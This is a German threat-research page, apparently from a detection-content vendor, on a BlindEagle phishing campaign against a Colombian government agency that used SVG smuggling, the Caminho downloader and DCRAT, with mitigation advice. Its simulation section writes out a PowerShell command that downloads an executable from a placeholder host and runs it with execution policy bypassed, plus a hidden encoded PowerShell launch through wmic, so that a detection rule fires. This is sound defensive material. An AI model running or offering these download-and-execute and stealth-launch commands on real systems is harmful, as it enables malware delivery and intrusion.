BlindAdler zielt mit Caminho und DCRAT auf kolumbianische Regierungsbehörde ab

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
BlindAdler zielt mit Caminho und DCRAT auf kolumbianische Regierungsbehörde ab
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

BlindEagle führte eine Spear-Phishing-Operation durch, die sich gegen eine kolumbianische Regierungsbehörde richtete. Dabei wurde ein manipuliertes SVG-Anhang geliefert, das eine JavaScript-zu-PowerShell-Ausführungskette einleitete. Diese Sequenz lud einen Downloader namens Caminho herunter, der dann den Open-Source-DCRAT-Remote-Access-Trojaner, der auf Discord gehostet wird, holte. Die Endphase nutzte Process Hollowing für MSBuild.exe und wendete mehrere Ausweichmethoden an, um die Erkennung zu reduzieren.

Untersuchung

Zscaler ThreatLabz analysierte den Infektionsfluss und berichtete von einem SVG-Schmuggelansatz, mehreren Ebenen von verschleiertem JavaScript, einem WMI-getriggerten PowerShell-Befehl und einer Caminho-Lieferung durch eine auf Discord gehostete URL. Auch die mit der unterstützenden Infrastruktur verbundenen schwedischen IP-Adressen und ein dynamischer DNS-Anbieter wurden untersucht (ydns.eu).

Minderung

Wenden Sie strengere Kontrollen für eingehende E-Mail-Anhänge an – insbesondere für SVG-Inhalte – und erzwingen Sie die Entwaffnung/Inspektion von eingebetteten Skripten. Verwenden Sie Webproxy-Richtlinien, um den Zugriff auf verdächtige File-Hosting-Endpunkte, einschließlich auf Discord gehostete Malware-Datei-URLs, einzuschränken. Überwachen Sie ungewöhnliche PowerShell- und WMI-Ausführungsmuster, und erzwingen Sie Anwendungs-Zulassungsrichtlinien für die Nutzung von MSBuild.exe.

Antwort

Antwort

Lösen Sie Warnungen für das bösartige SVG-Artefakt, den referenzierten JavaScript-Dateinamen und Downloads, die die Discord-URL erreichen, aus. Suchen Sie nach im Speicher oder auf der Festplatte befindlichen Spuren von Caminho und DCRAT, Hinweisen auf MSBuild.exe Process Hollowing und Persistenz durch Registrierungsänderungen oder geplante Aufgaben. Isolieren Sie betroffene Endpunkte und blockieren Sie die identifizierte C2-Domain.

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennung erwartet wird.

  • Angriffserzählung & Befehle:
    Der Bedrohungsakteur (BlindEagle) verwendet WMI, um einen PowerShell-Prozess zu starten, der das „Caminho“-Payload von einem Remote-C2-Server herunterlädt und im Speicher ausführt. Durch die Nutzung von wmic.exe mit der process call create Methode kann der Angreifer PowerShell ohne Interaktion mit einer Benutzersitzung ausführen, wodurch die Aktivität unauffällig bleibt. Die Befehlszeile enthält das wörtliche Wort „powershell“, was die Bedingung der Erkennungsregel erfüllt.

    1. Phase 1 – Bereiten Sie die bösartige PowerShell-Einzeiler vor:

      $url = "http://malicious.example.com/caminho.exe"
      $out = "$env:TEMPcaminho.exe"
      Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out
    2. Phase 2 – Ausführung über WMI:

      $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
      wmic process call create "$psCmd"

    Das Vorhandensein von powershell im CommandLine Feld des durch den wmic untergeordneten Prozesses generierten Sysmon Event 1 wird die Regel auslösen.

  • Regressionstest-Skript:

    # BlindEagle PowerShell über WMI-Simulation
    # ----------------------------------------------------------------------
    # 1. Definieren Sie bösartiges Payload (für den Test verwenden wir einen harmlosen Echo-Befehl)
    $payload = 'Write-Host "Simulierte Caminho-Ausführung"'
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Erstellen Sie die PowerShell-Befehlszeile, die das wörtliche Wort "powershell" enthält
    $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
    
    # 3. Starten Sie den Befehl über WMI (wmic), um ein Sysmon EventID 1 zu generieren
    $wmicCommand = "wmic process call create `"$psCommand`""
    Write-Host "Ausführung via WMI: $wmicCommand"
    Invoke-Expression $wmicCommand
    
    # 4. Optional: Protokollieren Sie zur Überprüfung in die Konsole
    Write-Host "Simulation abgeschlossen. Überprüfen Sie die Erkennung im SIEM."
  • Bereinigungskommandos:

    # Entfernen Sie alle temporären Dateien (keine in dieser Simulation erstellt)
    # Beenden Sie alle verbleibenden wmic oder PowerShell-Prozesse, die für den Test gestartet wurden
    Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "Bereinigung abgeschlossen."